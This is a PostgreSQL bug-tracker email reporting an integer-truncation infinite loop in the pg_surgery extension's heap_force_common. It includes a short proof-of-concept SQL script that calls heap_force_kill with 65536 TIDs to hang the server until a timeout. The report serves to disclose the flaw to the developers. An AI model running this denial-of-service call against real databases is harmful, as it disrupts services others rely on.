Received: from malur.postgresql.org ([217.196.149.56]) by arkaria.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wqri6-0000ar-1A for pgsql-bugs@arkaria.postgresql.org; Mon, 03 Aug 2026 12:24:02 +0000 Received: from localhost ([127.0.0.1] helo=malur.postgresql.org) by malur.postgresql.org with esmtp (Exim 4.96) (envelope-from ) id 1wqrHZ-0062U1-0r for pgsql-bugs@arkaria.postgresql.org; Mon, 03 Aug 2026 11:56:37 +0000 Received: from magus.postgresql.org ([2a02:c0:301:0:ffff::29]) by malur.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wqoEN-004oSi-37 for pgsql-bugs@lists.postgresql.org; Mon, 03 Aug 2026 08:41:07 +0000 Received: from mahout.postgresql.org ([2001:4800:3e1:1::227]) by magus.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.98.2) (envelope-from ) id 1wqoEM-00000001kGB-0Hcx for pgsql-bugs@lists.postgresql.org; Mon, 03 Aug 2026 08:41:07 +0000 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=postgresql.org; s=20171124; h=Message-ID:Date:Reply-To:Cc:From:To:Subject: Content-Transfer-Encoding:MIME-Version:Content-Type:Sender:Content-ID: Content-Description:In-Reply-To:References; bh=Ra1AsXKScX7MnTIaPIyN1V1PKDXI7LXsqUfq7vgJqfg=; b=t1SzUlFE6z9pLT4HR11ge70Nq9 KgHtJ/un18wqN3cv6X/ujvqbo7KGhTGE25k0LVZhYoSne1qvC+HIcCLd4QJyyilj/0+PXNlPMHHAq tta6CAUoLBKFFAfi4cTkeYRqEETwJNjIliDos1FqL3Bu0+pUq1M3teqV2+sRDgneutJOV4IUuN99Y rfSc8NMm93Efi+6g1upG/hAIH4V7yfdF7OeTWKJrg2rjYxJ8Tet3jWSIMbYFZKOnnHamNYnOkKakO YycAssC7Dn8+uaWG6AfjmBU4uNk5WDrCy0IYiPgmKMEblR7dJ384No0Zr7zxFLQrPIZHJVljxP+VM nIIStfbg==; Received: from wrigleys.postgresql.org ([2a02:16a8:dc51::60]) by mahout.postgresql.org with esmtps (TLS1.3) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96) (envelope-from ) id 1wqoEK-000tsv-0T for pgsql-bugs@lists.postgresql.org; Mon, 03 Aug 2026 08:41:04 +0000 Received: from localhost ([127.0.0.1] helo=wrigleys.postgresql.org) by wrigleys.postgresql.org with esmtp (Exim 4.98.2) (envelope-from ) id 1wqoEJ-0000000CHHp-3F3z for pgsql-bugs@lists.postgresql.org; Mon, 03 Aug 2026 08:41:03 +0000 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Subject: BUG #19607: Bug 18: `pg_surgery` infinite loop in `heap_force_common` To: pgsql-bugs@lists.postgresql.org From: PG Bug reporting form Cc: 1217816127@qq.com Reply-To: 1217816127@qq.com, pgsql-bugs@lists.postgresql.org Date: Mon, 03 Aug 2026 08:40:59 +0000 Message-ID: <19607-2f256a66481c514b@postgresql.org> X-Auto-Response-Suppress: All Auto-Submitted: auto-generated List-Id: List-Help: List-Subscribe: List-Post: List-Owner: List-Archive: Archived-At: Precedence: bulk The following bug has been logged on the website: Bug reference: 19607 Logged by: Yuelin Wang Email address: 1217816127@qq.com PostgreSQL version: 19beta2 Operating system: Linux (Ubuntu 24.04, x86_64) Description: =20 ### Summary In `contrib/pg_surgery/heap_surgery.c`, a huge TID array can truncate an index into `OffsetNumber`. The loop no longer reaches its end condition and the statement keeps running until cancellation. This is a SQL reachable denial of service when `pg_surgery` is installed. ### PoC SQL script: ```sql CREATE EXTENSION IF NOT EXISTS pg_surgery; CREATE TABLE vuln_surgery_loop(a int); INSERT INTO vuln_surgery_loop SELECT g FROM generate_series(1, 300) AS g; SET statement_timeout =3D '15s'; SELECT heap_force_kill( 'vuln_surgery_loop'::regclass, ARRAY( SELECT '(0,1)'::tid FROM generate_series(1, 65536) ) ); RESET statement_timeout; ``` ### Result The call remains active until `statement_timeout`. A finite array pass of this size should complete quickly, so the timeout confirms the integer truncation induced infinite loop.